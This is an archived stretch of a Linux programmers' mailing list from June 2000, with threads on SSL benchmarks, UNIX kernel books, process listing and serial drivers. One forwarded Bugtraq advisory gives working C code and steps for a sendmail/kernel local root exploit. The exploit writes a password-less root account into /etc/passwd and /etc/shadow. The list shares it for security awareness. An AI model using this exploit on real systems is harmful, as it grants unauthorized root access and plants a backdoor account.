ESMTP id DFC5E3814E for ; Sat, 10 Jun 2000 08:12:12 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id IAA08956 for linux-india-programmers@lists.linux-india.org; Sat, 10 Jun 2000 08:12:05 -0700 Date: Sat, 10 Jun 2000 08:12:04 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Benmark for SSLeay Message-ID: <20000610081204.B8908@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <394165F0.23CD7187@hydbad.tcs.co.in>; from Ravi Prakash B.V. on Sat, Jun 10, 2000 at 03:17:28AM +0530 X-Archive-Number: 200006/78 On Sat, Jun 10, 2000 at 03:17:28AM +0530, Ravi Prakash B.V. wrote: > hi to everybody, > This is my first mail to the mailing list. > I need a help in SSLeay. Using ssleay I am generating certificates, > signature, CSR etc.... > What's I need is : > 1. Is there bench marking to compare different algorithms(RC4, DES, IDEA > etc) used in encryption and signing..(MD5, SHA etc). I don't know about SSLeay, but there are benchmarks for a different implementation at: http://www.eskimo.com/~weidai/benchmarks.html > 2. What's the overhead in terms of bits added with message blocks while > sending the encrypted data in the ssl session? If the block size you've chosen is the same, then the algorithm doesn't matter. One way of measuring this is to cold start your machine, do a large number of SSL transactions and then look at the packet counts. -Arun From linux-india-programmers-owner@lists.linux-india.org Sat Jun 10 08:34:49 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 1F2973809C for ; Sat, 10 Jun 2000 08:34:47 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id IAA09065 for linux-india-programmers@lists.linux-india.org; Sat, 10 Jun 2000 08:34:39 -0700 Date: Sat, 10 Jun 2000 08:34:39 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Magic Garden: Explained Message-ID: <20000610083439.F8908@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <86d7lplihe.fsf@DemiUrge.in.ibm.com>; from Syed Khader Vali on Sat, Jun 10, 2000 at 07:56:53PM +0530 X-Archive-Number: 200006/79 On Sat, Jun 10, 2000 at 07:56:53PM +0530, Syed Khader Vali wrote: > anybody help me with obtaining a copy of it. I have one and I've reviewed it for this list once before. It's basically a code commentary of an outdated code base. > Or can anybody suggest another book which is as good as the above one > ? Does the book by Uresh Vahalia cover the same topic or is it > different ? Vahalia's book focusses on concepts, rather than the code. In fact, it has almost zero code. It also is a comparision between SVR4, Solaris, Mach and BSD. Again, I'd consider Vahalia's book as a book for advanced audience which is already familiar with how kernels are written. If you're comfortable with undergrad level OS stuff (Peterson etc), then I'd highly recommend Kirk McKusick's 4.4 BSD book. I own all of these books and if I were to read them again, I'd read them as: 1. Undergrad OS text 2. 4.4 BSD book 3. Uresh Vahalia's book and if I'm using a SVR4 derivative like Solaris or UnixWare, 4. Magic garden explained Of course, there are a bunch of USENIX papers, which will be very useful, if you were to focus on any specific area in the kernel. -Arun From linux-india-programmers-owner@lists.linux-india.org Sat Jun 10 10:33:09 2000 Received: by www.aunet.org (Postfix, from userid 1002) id 4FD5D3809C; Sat, 10 Jun 2000 10:29:53 -0700 (PDT) Date: Sat, 10 Jun 2000 10:29:53 -0700 From: liadmin@aunet.org To: linux-india-programmers@lists.linux-india.org Subject: [sm@krec.ernet.in: Sendmail local root exploit on linux 2.2.x (fwd)] Message-ID: <20000610102953.E3032@aunet.org> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary=SUOF0GtieIMvvwua X-Mailer: Mutt 0.95.3i X-Archive-Number: 200006/80 --SUOF0GtieIMvvwua Content-Type: text/plain; charset=us-ascii Here is an example demonstrating the root exploit that was recently discovered in sendmail+kernel (<= 2.2.15). It is not directly related to linux in india. But is useful, neverthless, to understand how the exploit works. Please don't flame pgm. Thaths --SUOF0GtieIMvvwua Content-Type: message/rfc822 Return-Path: Received: from www.www.aunet.org (localhost [127.0.0.1]) by www.aunet.org (Postfix) with SMTP id 3E208380CF for ; Sat, 10 Jun 2000 01:22:33 -0700 (PDT) Received: from mail.krec.ernet.in (krec.ernet.in [202.141.79.10]) by www.aunet.org (Postfix) with SMTP id CD80B380CF for ; Sat, 10 Jun 2000 01:16:55 -0700 (PDT) Received: (qmail 782 invoked by uid 509); 10 Jun 2000 04:31:15 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 10 Jun 2000 04:31:15 -0000 Date: Sat, 10 Jun 2000 10:01:15 +0530 (IST) From: P G Mohanan To: Linux-India-Help Subject: Sendmail local root exploit on linux 2.2.x (fwd) Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY=------------C5AA82A7D9E47C75A576FD13 Content-ID: Sender: majordomo2-owner@lists.linux-india.org This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --------------C5AA82A7D9E47C75A576FD13 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Hi, I hope this mail will reach the list owner. Since many people who use sendmail on linux might not have seen this message , I suggest that this info may be made available to the people. [ I don't know whether this is already done ] At the same time , I don't know the implications of putting it on the list. I hope the decision must be that of the list-admin. Please ignore the message if this information is insignificant or false. With regards --pgm ------------------------------- P G Mohanan, Systems Manager Central Computer Centre KREC Surathkal Email:pgm@krec.ernet.in sm@krec.ernet.in Phone: 0824-475984 ext 301 ------------------------------ ---------- Forwarded message ---------- Date: Thu, 8 Jun 2000 14:21:48 +0200 From: Florian Heinz To: BUGTRAQ@SECURITYFOCUS.COM Subject: Sendmail local root exploit on linux 2.2.x Hello all, Attached is a file with 2 sources, ex.c and add.c compile these 2 and create a file "mail": From: yomama@foobar.com To: localuser@localdomain.com Subject: foo bar . then create a .forward with: |/path/to/add then just do: ./ex < mail this should add a user yomama with uid/gid = 0 and without a password set a simple su - yomama should give you root. This exploit was written by me in a hurry, I hope there are no mistakes Greets Florian Heinz --------------C5AA82A7D9E47C75A576FD13 Content-Type: TEXT/PLAIN; CHARSET=us-ascii; NAME="exploit.c" Content-ID: Content-Description: Content-Disposition: INLINE; FILENAME="exploit.c" -- snip -- ex.c -- #include int main (void) { cap_user_header_t header; cap_user_data_t data; header = malloc(8); data = malloc(12); header->pid = 0; header->version = _LINUX_CAPABILITY_VERSION; data->inheritable = data->effective = data->permitted = 0; capset(header, data); execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL); } -- snap -- ex.c -- -- snip -- add.c -- #include int main (void) { int fd; char string[40]; seteuid(0); fd = open("/etc/passwd", O_APPEND|O_WRONLY); strcpy(string, "yomama:x:0:0::/root:/bin/sh\n"); write(fd, string, strlen(string)); close(fd); fd = open("/etc/shadow", O_APPEND|O_WRONLY); strcpy(string, "yomama::11029:0:99999:7:::"); write(fd, string, strlen(string)); close(fd); } -- snap -- add.c -- --------------C5AA82A7D9E47C75A576FD13-- --SUOF0GtieIMvvwua-- From linux-india-programmers-owner@lists.linux-india.org Sat Jun 10 11:10:35 2000 Received: from aero.iisc.ernet.in (aero.iisc.ernet.in [144.16.73.100]) by www.aunet.org (Postfix) with ESMTP id 789FD38192 for ; Sat, 10 Jun 2000 11:10:27 -0700 (PDT) Received: from localhost (pallav99@localhost) by aero.iisc.ernet.in (8.9.3/8.8.7) with SMTP id XAA02999 for ; Sat, 10 Jun 2000 23:45:50 +0530 Date: Sat, 10 Jun 2000 23:45:50 +0530 (IST) From: Pallav Nawani To: linux-india-programmers@lists.linux-india.org Subject: Re: [sm@krec.ernet.in: Sendmail local root exploit on linux 2.2.x (fwd)] In-Reply-To: <20000610102953.E3032@aunet.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: X-Archive-Number: 200006/81 On Sat, 10 Jun 2000 liadmin@aunet.org wrote: > > Here is an example demonstrating the root exploit that was recently > discovered in sendmail+kernel (<= 2.2.15). It is not directly related > to linux in india. But is useful, neverthless, to understand how the > exploit works. Please don't flame pgm. > > Thaths > I couldn't understand clearly how this works. Will somebody explain it to me? And no, I don't intend any mischief ! pallav From linux-india-programmers-owner@lists.linux-india.org Sat Jun 10 12:42:07 2000 Received: from cal.vsnl.net.in (cal.vsnl.net.in [202.54.9.25]) by www.aunet.org (Postfix) with ESMTP id 719A83821E for ; Sat, 10 Jun 2000 12:42:00 -0700 (PDT) Received: from alteffex (ppp116-252.pppcal.vsnl.net.in [203.197.116.252]) by cal.vsnl.net.in (8.9.0/8.9.0) with SMTP id BAA13691 for ; Sun, 11 Jun 2000 01:49:20 +0530 (IST) Message-ID: <003101bfd314$034196e0$fc74c5cb@alteffex> Reply-To: "Shourya Sarcar" From: "Shourya Sarcar" To: Subject: Re: Magic Garden: Explained Date: Sun, 11 Jun 2000 01:12:24 +0530 Organization: Jadavpur University MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-Archive-Number: 200006/82 > > Of course, there are a bunch of USENIX papers, which will be very useful, > if you were to focus on any specific area in the kernel. > > -Arun Hi , Could you give specific links at www.usenix.org (?) From linux-india-programmers-owner@lists.linux-india.org Sat Jun 10 23:23:05 2000 Received: from matrix.reccal.ernet.in (unknown [202.41.105.50]) by www.aunet.org (Postfix) with ESMTP id D8B9338063 for ; Sat, 10 Jun 2000 23:13:39 -0700 (PDT) Received: (from linac@localhost) by matrix.reccal.ernet.in (8.8.7/8.8.7) id KAA18602; Sun, 11 Jun 2000 10:43:39 +0530 Date: Sun, 11 Jun 2000 10:43:39 +0530 (IST) From: Linac Is Not A Club To: Linux India Programmers Subject: my own little ps......... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/83 Hi everyone, We have a problem here. All of us are working on this little accounting thing and we need to know how to write our own code for ps or ptree or anything to get the access the process list. Do help us out ------------------------------------------------------------------------ Trifles make perfection, and perfection is no trifle. -- Michelangelo From linux-india-programmers-owner@lists.linux-india.org Sat Jun 10 23:40:43 2000 Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by www.aunet.org (Postfix) with ESMTP id F1E0E38063 for ; Sat, 10 Jun 2000 23:40:32 -0700 (PDT) Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.117.200.23]) by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id CAA359276 for ; Sun, 11 Jun 2000 02:38:42 -0400 Received: from DemiUrge.in.ibm.com (demiurge.in.ibm.com [9.184.199.132]) by northrelay03.pok.ibm.com (8.8.8m3/NCO v4.9) with ESMTP id CAA72186 for ; Sun, 11 Jun 2000 02:40:26 -0400 Received: by DemiUrge.in.ibm.com (Postfix, from userid 1001) id 197E25882D; Sun, 11 Jun 2000 12:10:40 +0530 (IST) Subject: Re: Magic Garden: Explained From: Syed Khader Vali URL: http://www.sidcarter.com/ Operating-System: Turing OS XCVII Disclaimer: Not speaking for anyone in any way, shape, or form. Copyright: Copyright 2000 Syed Khader Vali - All Rights Reserved To: linux-india-programmers@lists.linux-india.org Reply-To: sidgeek@austin.ibm.com Organization: IBM Global Services - India Date: 11 Jun 2000 12:10:39 +0530 In-Reply-To: Arun Sharma's message of "Sat, 10 Jun 2000 08:34:39 -0700" Message-ID: <868zwclnyw.fsf@DemiUrge.in.ibm.com> Lines: 43 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/84 >>>>> On Sat, 10 Jun 2000 08:34:39 -0700, Arun Sharma said: Arun> Vahalia's book focusses on concepts, rather than the Arun> code. In fact, it has almost zero code. It also is a Arun> comparision between SVR4, Solaris, Mach and BSD. Again, I'd Arun> consider Vahalia's book as a book for advanced audience Arun> which is already familiar with how kernels are written. Well, I am basically interested in the concept rather than the code. I would like to know the theoritical ascpects of UNIX . SOmething like UNIX inside out. I am not looking for code, but something like the undocumented UNIX sorta thing, where I can get to know all the minute details of a UNIX system both from a user space view and a kernel space view. Everything and anything about UNIX. Arun> If you're comfortable with undergrad level OS stuff Arun> (Peterson etc), then I'd highly recommend Kirk McKusick's Arun> 4.4 BSD book. Comfortable ? I wouldn't mind starting from the basic, but it should go on to deal with advanced audience. I haven't seen Magic Garden, but I was suggested that book by my mentor,so I decided to try it. I didn't know it was some kind of a code book, in which I don't I want Magic Garden. Arun> I own all of these books and if I were to read them again, Arun> I'd read them as: Arun> 1. Undergrad OS text 2. 4.4 BSD book 3. Uresh Vahalia's book Never heard about peterson, but maybe then you could send me a copy of that book if you say it is good. I hope I was clear in what I want :-) Bye Thanks Regards - Khader -- Linux poses a real challenge for those with a taste for late-night hacking (and/or conversations with God). Syed Khader Vali (Siddiq) (sid at sidcarter.com) Debian GNU/Linux (Woody) http://www.sidcarter.com From linux-india-programmers-owner@lists.linux-india.org Sun Jun 11 00:05:46 2000 Received: from trishul.freeos.com (PPP-203-197-7-250.bom.vsnl.net.in [203.197.7.250]) by www.aunet.org (Postfix) with ESMTP id 46734380C9 for ; Sun, 11 Jun 2000 00:05:27 -0700 (PDT) Received: from localhost (cnb@localhost) by trishul.freeos.com (8.9.3/8.9.3) with ESMTP id SAA08975 for ; Sun, 11 Jun 2000 18:11:08 +0530 X-Authentication-Warning: trishul.freeos.com: cnb owned process doing -bs Date: Sun, 11 Jun 2000 18:11:08 +0530 (IST) From: Chandrashekhar Bhosle To: Linux India Programmers Subject: Re: my own little ps......... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/85 Read about /proc filesystem. man 5 proc. That's what ps uses to get info from iirc. - cnb. On Sun, 11 Jun 2000, Linac Is Not A Club wrote: > Hi everyone, > We have a problem here. All of us are working on this little > accounting thing and we need to know how to write our own code for ps or > ptree or anything to get the access the process list. > Do help us out > -- Chandrashekhar Bhosle. Email: cnb@freeos.com Webmaster. ICQ : 7616948 FreeOS.com - The Resource Center for Free Operating Systems. ------------------------------------------------------------ From linux-india-programmers-owner@lists.linux-india.org Sun Jun 11 00:16:17 2000 Received: from giasbg01.vsnl.net.in (giasbg01.vsnl.net.in [202.54.12.17]) by www.aunet.org (Postfix) with ESMTP id AC56B38127 for ; Sun, 11 Jun 2000 00:15:59 -0700 (PDT) Received: from localhost.localdomain (IDENT:root@[203.197.172.180]) by giasbg01.vsnl.net.in (8.9.3/8.9.3) with ESMTP id MAA29998 for ; Sun, 11 Jun 2000 12:49:27 +0500 (GMT+0500) Received: (from mrinal@localhost) by localhost.localdomain (8.9.3/8.9.3) id MAA01464 for linux-india-programmers@lists.linux-india.org; Sun, 11 Jun 2000 12:43:57 +0530 Date: Sun, 11 Jun 2000 12:43:57 +0530 From: Mrinal Kalakrishnan To: The Linux India Programmers Mailing List Subject: Re: my own little ps......... Message-ID: <20000611124357.B1220@india.com> Mail-Followup-To: The Linux India Programmers Mailing List Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: ; from linac@matrix.reccal.ernet.in on Sun, Jun 11, 2000 at 10:43:39AM +0530 X-Mailer: Mutt 1.3.3i (2000-06-09) X-Operating-System: Linux 2.2.16 X-Editor: VIM - Vi IMproved 5.6 X-URL: http://www.geocities.com/mrinal/ Organization: Jobless after finishing school! X-Archive-Number: 200006/86 Hi, Linac Is Not A Club typed: > We have a problem here. All of us are working on this little > accounting thing and we need to know how to write our own code for ps or > ptree or anything to get the access the process list. Look at the source of procps: ftp://tsx-11.mit.edu/pub/linux/sources/usr.bin/procps-%{version}.tar.bz2 -- Mrinal Kalakrishnan http://mrinal.dhs.org/ Linux 2.2.16 || PGP:B1E86F5B || Mutt 1.3.3i (2000-06-09) || VIM 5.6 -- Linux: Because a PC is a terrible thing to waste. (By komarimf@craft.camp.clarkson.edu, Mark Komarinski) From linux-india-programmers-owner@lists.linux-india.org Sun Jun 11 00:40:29 2000 Received: from bucky.excite.com (bucky-rwcmex.excite.com [198.3.99.218]) by www.aunet.org (Postfix) with ESMTP id CA722380D3 for ; Sun, 11 Jun 2000 00:40:25 -0700 (PDT) Received: from neon.excite.com ([199.172.153.87]) by bucky.excite.com (InterMail vM.4.01.02.39 201-229-119-122) with ESMTP id <20000611074025.BYKL8565.bucky.excite.com@neon.excite.com> for ; Sun, 11 Jun 2000 00:40:25 -0700 Message-ID: <22967046.960709225110.JavaMail.imail@neon.excite.com> Date: Sun, 11 Jun 2000 00:40:25 -0700 (PDT) From: bharat shetty To: linux-india-programmers@lists.linux-india.org Subject: Re: Magic Garden: Explained Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailer: Excite Inbox X-Sender-Ip: 203.200.0.252 X-Archive-Number: 200006/87 Syed, It depends on what you are working on SysV derived version or BSD derived. Since your mentor has specified magic garden.. It is better to get hold of that. However be aware that it does not discuss the code in a line by line fashion as Tanenbaum does with minix. Magic Garden discusses SysVR4+ and Solaris(closely related). It infact covers the concepts itself.( Books sold like this cannot cover the code)Do you think AT&T/Novell would allow that?? And this is not a serious handicap as the data structures are much more important, than the particular alogorithms used to implement a feature. Any decent company worth its name (and involved in unix) will have a copy. Ask your mentor for a copy. I guess he definitely arrange for one. As arun said you need to be conversant a little bit of OS concepts (Bach would also help a lot). And please do not ask for copies of books thru the mailing lists like this - who would be willing to pass on a book which is precious and OUT of print??? bharat. On 11 Jun 2000 12:10:39 +0530, linux-india-programmers@lists.linux-india.org wrote: > >>>>> On Sat, 10 Jun 2000 08:34:39 -0700, Arun Sharma said: > > Arun> Vahalia's book focusses on concepts, rather than the > Arun> code. In fact, it has almost zero code. It also is a > Bye > Thanks > Regards > - Khader > -- _______________________________________________________ Get 100% FREE Internet Access powered by Excite Visit http://freelane.excite.com/freeisp From linux-india-programmers-owner@lists.linux-india.org Sun Jun 11 00:58:02 2000 Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by www.aunet.org (Postfix) with ESMTP id 3BC4F38086 for ; Sun, 11 Jun 2000 00:56:48 -0700 (PDT) Received: from westrelay03.boulder.ibm.com (westrelay03.boulder.ibm.com [9.99.132.206]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id DAA39418 for ; Sun, 11 Jun 2000 03:51:26 -0400 Received: from DemiUrge.in.ibm.com (demiurge.in.ibm.com [9.184.199.132]) by westrelay03.boulder.ibm.com (8.8.8m3/NCO v4.9) with ESMTP id BAA58674 for ; Sun, 11 Jun 2000 01:56:08 -0600 Received: by DemiUrge.in.ibm.com (Postfix, from userid 1001) id 5DF705882D; Sun, 11 Jun 2000 13:26:12 +0530 (IST) Subject: Re: Magic Garden: Explained From: Syed Khader Vali URL: http://www.sidcarter.com/ Operating-System: Turing OS XCVII Disclaimer: Not speaking for anyone in any way, shape, or form. Copyright: Copyright 2000 Syed Khader Vali - All Rights Reserved To: linux-india-programmers@lists.linux-india.org Reply-To: sidgeek@austin.ibm.com Organization: IBM Global Services - India Date: 11 Jun 2000 13:26:11 +0530 In-Reply-To: bharat shetty's message of "Sun, 11 Jun 2000 00:40:25 -0700 (PDT)" Message-ID: <86zoosk5wk.fsf@DemiUrge.in.ibm.com> Lines: 51 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/88 >>>>> On Sun, 11 Jun 2000 00:40:25 -0700 (PDT), bharat shetty said: bharat> Syed, It depends on what you are working on SysV derived bharat> version or BSD derived. Since your mentor has specified bharat> magic garden.. It is better to get hold of that. However Well, that brings me to a question as to from where Linux is derived ? SVR4 or BSD or a combination of both. bharat> be aware that it does not discuss the code in a line by bharat> line fashion as Tanenbaum does with minix. That is what I am not looking for anyway. bharat> Magic Garden discusses SysVR4+ and Solaris(closely bharat> related). It infact covers the concepts itself.( Books bharat> sold like this cannot cover the code)Do you think bharat> AT&T/Novell would allow that?? I guess I understand that being in IBM myself :-) bharat> Any decent company worth its name (and involved in unix) bharat> will have a copy. Ask your mentor for a copy. I guess he Well, I am resorting to LIP as the last resort. I have already done what you have suggested. :-) bharat> definitely arrange for one. As arun said you need to be bharat> conversant a little bit of OS concepts (Bach would also bharat> help a lot). Maybe I think Bach is the first place which I should start from, then go on to Uresh Vahalia. bharat> And please do not ask for copies of books thru the mailing bharat> lists like this - who would be willing to pass on a book bharat> which is precious and OUT of print??? Well, Bharat. I would not mind paying for the book if it is in print and I am not asking it so that I can keep it forever. I am not looking out to deprive anyone of the "precious" book and I ain't forcing anyone. Bye Thanks Regards Khader -- Linux poses a real challenge for those with a taste for late-night hacking (and/or conversations with God). Syed Khader Vali (Siddiq) (sid at sidcarter.com) Debian GNU/Linux (Woody) http://www.sidcarter.com From linux-india-programmers-owner@lists.linux-india.org Sun Jun 11 11:53:15 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 7D1C538096 for ; Sun, 11 Jun 2000 11:51:11 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id LAA02396 for linux-india-programmers@lists.linux-india.org; Sun, 11 Jun 2000 11:50:18 -0700 Date: Sun, 11 Jun 2000 11:50:18 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Magic Garden: Explained Message-ID: <20000611115018.A2384@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <868zwclnyw.fsf@DemiUrge.in.ibm.com>; from Syed Khader Vali on Sun, Jun 11, 2000 at 12:10:39PM +0530 X-Archive-Number: 200006/89 On Sun, Jun 11, 2000 at 12:10:39PM +0530, Syed Khader Vali wrote: > > Never heard about peterson, but maybe then you could send me a copy of > that book if you say it is good. > I hope I was clear in what I want :-) I meant http://www.amazon.com/exec/obidos/ASIN/0471364142/o/qid=960749199/sr=2-3/102-0217102-4404113 There was an earlier book by Silbershatz and Peterson that we referred to in school. Looks like that one is out of print. -Arun From linux-india-programmers-owner@lists.linux-india.org Sun Jun 11 11:53:23 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 5333A380E8 for ; Sun, 11 Jun 2000 11:53:08 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id LAA02403 for linux-india-programmers@lists.linux-india.org; Sun, 11 Jun 2000 11:52:15 -0700 Date: Sun, 11 Jun 2000 11:52:15 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Magic Garden: Explained Message-ID: <20000611115215.B2384@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <22967046.960709225110.JavaMail.imail@neon.excite.com>; from bharat shetty on Sun, Jun 11, 2000 at 12:40:25AM -0700 X-Archive-Number: 200006/90 On Sun, Jun 11, 2000 at 12:40:25AM -0700, bharat shetty wrote: > Magic Garden discusses SysVR4+ and Solaris(closely related). It infact > covers the concepts itself.( Books sold like this cannot cover the code)Do > you think AT&T/Novell would allow that?? True, they didn't cut and paste SVR4 code, but it was at a much lower level than a typical concepts only book would go. I was actually surprised that they could get away with that much of detail. Looks like AT&T/Novell/SCO didn't care that much because too many people had seen that code anyway. -Arun From linux-india-programmers-owner@lists.linux-india.org Sun Jun 11 11:53:57 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 472163816B for ; Sun, 11 Jun 2000 11:53:55 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id LAA02419 for linux-india-programmers@lists.linux-india.org; Sun, 11 Jun 2000 11:53:02 -0700 Date: Sun, 11 Jun 2000 11:53:02 -0700 From: Arun Sharma To: linux-india-programmers@lists.linux-india.org Subject: Re: Magic Garden: Explained Message-ID: <20000611115302.C2384@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <86zoosk5wk.fsf@DemiUrge.in.ibm.com>; from Syed Khader Vali on Sun, Jun 11, 2000 at 01:26:11PM +0530 X-Archive-Number: 200006/91 On Sun, Jun 11, 2000 at 01:26:11PM +0530, Syed Khader Vali wrote: > > Well, that brings me to a question as to from where Linux is derived ? > SVR4 or BSD or a combination of both. > Linux was a complete rewrite. It is a hybrid. -Arun From linux-india-programmers-owner@lists.linux-india.org Sun Jun 11 22:24:47 2000 Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by www.aunet.org (Postfix) with ESMTP id 6172D380A5 for ; Sun, 11 Jun 2000 22:24:24 -0700 (PDT) Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.117.200.23]) by e2.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id BAA229226 for ; Mon, 12 Jun 2000 01:22:14 -0400 Received: from DemiUrge.in.ibm.com (demiurge.in.ibm.com [9.184.199.132]) by northrelay03.pok.ibm.com (8.8.8m3/NCO v4.9) with ESMTP id BAA142216 for ; Mon, 12 Jun 2000 01:23:58 -0400 Received: by DemiUrge.in.ibm.com (Postfix, from userid 1001) id 176965882D; Mon, 12 Jun 2000 10:54:22 +0530 (IST) Subject: Re: Magic Garden: Explained From: Syed Khader Vali URL: http://www.sidcarter.com/ Operating-System: Turing OS XCVII Disclaimer: Not speaking for anyone in any way, shape, or form. Copyright: Copyright 2000 Syed Khader Vali - All Rights Reserved To: linux-india-programmers@lists.linux-india.org Reply-To: sidgeek@austin.ibm.com Organization: IBM Global Services - India Date: 12 Jun 2000 10:54:22 +0530 In-Reply-To: Arun Sharma's message of "Sun, 11 Jun 2000 11:50:18 -0700" Message-ID: <86r9a3jwu1.fsf@DemiUrge.in.ibm.com> Lines: 15 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200006/92 >>>>> On Sun, 11 Jun 2000 11:50:18 -0700, Arun Sharma said: Arun> http://www.amazon.com/exec/obidos/ASIN/0471364142/o/qid=960749199/sr=2-3/102-0217102-4404113 Thanks everyone for the info and suggestions. That helped me deciding what I needed. Thanks Regards - Khader -- Linux poses a real challenge for those with a taste for late-night hacking (and/or conversations with God). Syed Khader Vali (Siddiq) (sid at sidcarter.com) Debian GNU/Linux (Woody) http://www.sidcarter.com From linux-india-programmers-owner@lists.linux-india.org Sun Jun 11 23:01:01 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id A7D6A380D1 for ; Sun, 11 Jun 2000 23:00:47 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id LAA21205 for ; Mon, 12 Jun 2000 11:27:10 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id LAA14062 for ; Mon, 12 Jun 2000 11:29:25 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAAABA; Mon, 12 Jun 2000 11:31:00 +0530 Date: Mon, 12 Jun 2000 11:40:02 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad Joshi To: Sachin Garg Cc: linux-india-programmers@lists.linux-india.org Subject: Re: interacting with serial driver In-Reply-To: <3940D466.D6EF8FDB@india.hp.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200006/93 + > While that is true, i need to do that myself, w/o relying on "open" etc. + > :( for some reasons. Also, i am not doing this at the user level, but in + > kernel proper. + > + > Yeah, writing my own serial driver is another option, but again, due to + > certain restraints, i _have_ to use the underlying one :( + + I don't know what your reasons are, but I would suggest: use the kernel + driver. It would make code more portable. Also use the POSIX calls. + Check out Richard W. Stevens "Advanced Programming in the Unix + Environment", chapter 10, I think. Uh... restrictions stem from the fact that, the module which i am doing, is not thaaat big, to write a serial driver for. Writing a driver will be twice as big a project than the existing one. About the posix calls, i can only say that i am but a poor, helpless creature, with limited choices to fiddle. Even i'd have loved to 'open' and do read write :) but i was just wondering if there was any other way. Nevertheless, if theres NO other way, i think i'll have go back and set things right in the module i inherited. Sharad. From linux-india-programmers-owner@lists.linux-india.org Sun Jun 11 23:13:21 2000 Received: from agni.wipinfo.soft.net (agni.wipinfo.soft.net [164.164.6.20]) by www.aunet.org (Postfix) with ESMTP id A7707380DE for ; Sun, 11 Jun 2000 23:12:54 -0700 (PDT) Received: from vayu.wipinfo.soft.net (vayu [192.168.200.170]) by agni.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id LAA22099 for ; Mon, 12 Jun 2000 11:39:17 +0500 (GMT) Received: from sarovar.mail.wipro.com ([192.168.2.18]) by vayu.wipinfo.soft.net (8.9.3/8.9.3) with ESMTP id LAA15176 for ; Mon, 12 Jun 2000 11:41:31 +0500 (GMT) Received: from yaksha.wipinfo.soft.net ([192.168.2.78]) by sarovar.mail.wipro.com (Netscape Messaging Server 3.6) with ESMTP id AAA164E for ; Mon, 12 Jun 2000 11:43:06 +0530 Date: Mon, 12 Jun 2000 11:52:09 +0530 (IST) From: "Sharad Joshi" X-Sender: sharadj@yaksha.wipinfo.soft.net Reply-To: Sharad 